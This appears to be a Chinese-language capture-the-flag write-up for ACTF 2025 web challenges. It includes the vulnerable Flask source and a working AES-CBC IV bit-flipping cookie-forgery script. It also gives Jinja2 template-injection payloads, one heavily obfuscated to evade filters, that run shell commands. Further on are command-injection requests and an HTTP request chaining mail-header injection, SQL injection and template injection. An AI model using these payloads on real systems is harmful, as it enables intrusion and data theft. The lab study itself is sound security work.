ACTF 2025
not so web 1
本地起服务:
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = "x8j2k9m3n7p4q6r8t1u5v0w2y4z6a8b0"
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
ADMIN_PASSWORD = "G7kP9mW3qT2rY6zN8vX4jL0tF5hR1cB"
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
if not cookie:
return False
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False
if len(cookie_encrypted) < 32:
return False
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False
try:
_ = json.loads(cookie_json)
except Exception:
return False
return True
def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
本地调试脚本:
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = "123123"
KEY = b'abcdefghijklmnop'
ADMIN_PASSWORD = "123123"
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
print(padded)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# print(cipher)
encrypted = cipher.encrypt(padded)
# print(encrypted)
return base64.b64encode(iv + encrypted).decode()
if __name__ == "__main__":
print(generate_cookie(users["admin"]))
修改cookie:
import base64
# 假设这是从注册 "admxn" 后获取的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzr0e7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
# 提取 cookie 值
cookie_value = cookie.split("=", 1)[1]
# base64 解码
cookie_bytes = base64.b64decode(cookie_value)
# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]
# 计算需要翻转的字节
# 目标:将 "admxn" 的 'x' (120) 翻转为 'i' (105)
# JSON 格式:{"name": "admxn", ...}
# "x" 在第一个块的第 11 个字节(从 0 开始计数)
pos = 13 # 'x' 的位置
delta = ord('x') ^ ord('i') # 120 ^ 105 = 17
# 修改 IV 的第 11 个字节
iv_list = list(iv)
print(iv_list[pos])
iv_list[pos] = iv_list[pos] ^ delta
print(iv_list[pos])
modified_iv = bytes(iv_list)
# 生成新的 cookie
modified_cookie_bytes = modified_iv + encrypted_data
modified_cookie = base64.b64encode(modified_cookie_bytes).decode()
# 输出修改后的 cookie
print("Original Cookie:", cookie_value)
print("Modified Cookie:", modified_cookie)
print("Use this cookie to access /home as admin:")
print(f"jwbcookie={modified_cookie}")
还原脚本:
import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 给定的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzqwe7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
cookie_b64 = cookie.replace("jwbcookie=", "")
# 解码 base64
cookie_bytes = base64.b64decode(cookie_b64)
# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]
# 假设的密钥(16 字节),实际使用时需替换为真实密钥
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
# 创建 AES-CBC 解密器
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# 解密并去除填充
try:
decrypted = cipher.decrypt(encrypted_data)
padded = unpad(decrypted, 16) # 去除 PKCS7 填充
json_str = padded.decode('utf-8') # 转换为字符串
cookie_dict = json.loads(json_str) # 解析 JSON
print("还原的 padded(JSON 格式):", cookie_dict)
except ValueError as e:
print("解密失败,可能是密钥错误或数据损坏:", e)
本地fenjing一把嗦
/home?payload={{(QAQ.__eq__.__globals__.sys.modules.os.popen('cat f*')).read()}}
Upload
普通用户进去目录穿越读源码,然后拿去碰撞一下密码,在admin下面有一个存在命令拼接的点file_path直接拼接进去的不出网rce,发现能任意写
GET /upload?file_path=0;%20ls%20/>%20/test%20%23
Fl4g_is_H3r3
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
test
tmp
usr
var
GET /upload?file_path=0;%20cat%20/Fl4g_is_H3r3>%20/test%20%23
Excellent-Site
利用 /report 路由的邮件头注入,构造一封邮件,设置 Subject 为可控 URL,并注入 From: admin@ezmail.org 以满足 get_subjects 的条件。
通过 SQLite 注入控制 /news 路由的响应,打SSTI,然后访问 /bot 触发 /admin里面的render
POST /report HTTP/1.1
Host: 223.112.5.141:59122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 66
url=http%3A%2F%2Fezmail.org%3A3000%2Fnews%3Fid%3D-1+union+select+%27%7B%7B+url_for.__globals__%5B%27%27__builtins__%27%27%5D%5B%27%27__import__%27%27%5D%28%27%27os%27%27%29.system%28%27%27cat+%2Fflag+%3E+templates%2Findex.html%27%27%29+%7D%7D%27
not so web 2
明文 username 直接换 admin 再进去就行
{"user_name": "admin", "login_time": 1745665984}&91f48825c577ce98f9c611681521eb05c92d1e17748e9e74e6b4928726e11bcf13aa8306350e1fc2e5d8ed00437cca189360dcc5489dd59f35aeee8c40eab121f35b0f2953fc5b7d48359ec5789baa302fae6e8f1c0f87943497ce5a3147daa5bbe780bbe637f73d7f95f8a2528e2fe06777634384bffea5cd865ee3999dc6fe0d475ae9fc2086d4b037c66ab20cb2b31215d0cd2c0e32643a59cca40315cbfa51ddf63a8e7c025d6be2247c18ea62c4f76c8c4f25b2cf0361c47f0cdc7105e27eb54bb84ef6512a84164f1f7d41370ddb0896b4f7373805414949e71004e5e2ca64dbdb74c5ad65007d189d8fcc72bc2878bd06848fadd0ff39f1ca6ced5c08}
写个转接口本地fenjing打
{{((sbwaf|attr(lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"qe"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)))[lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"slabolg"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)].sys.modules.os.popen("*f tac"[::-1])).read()}}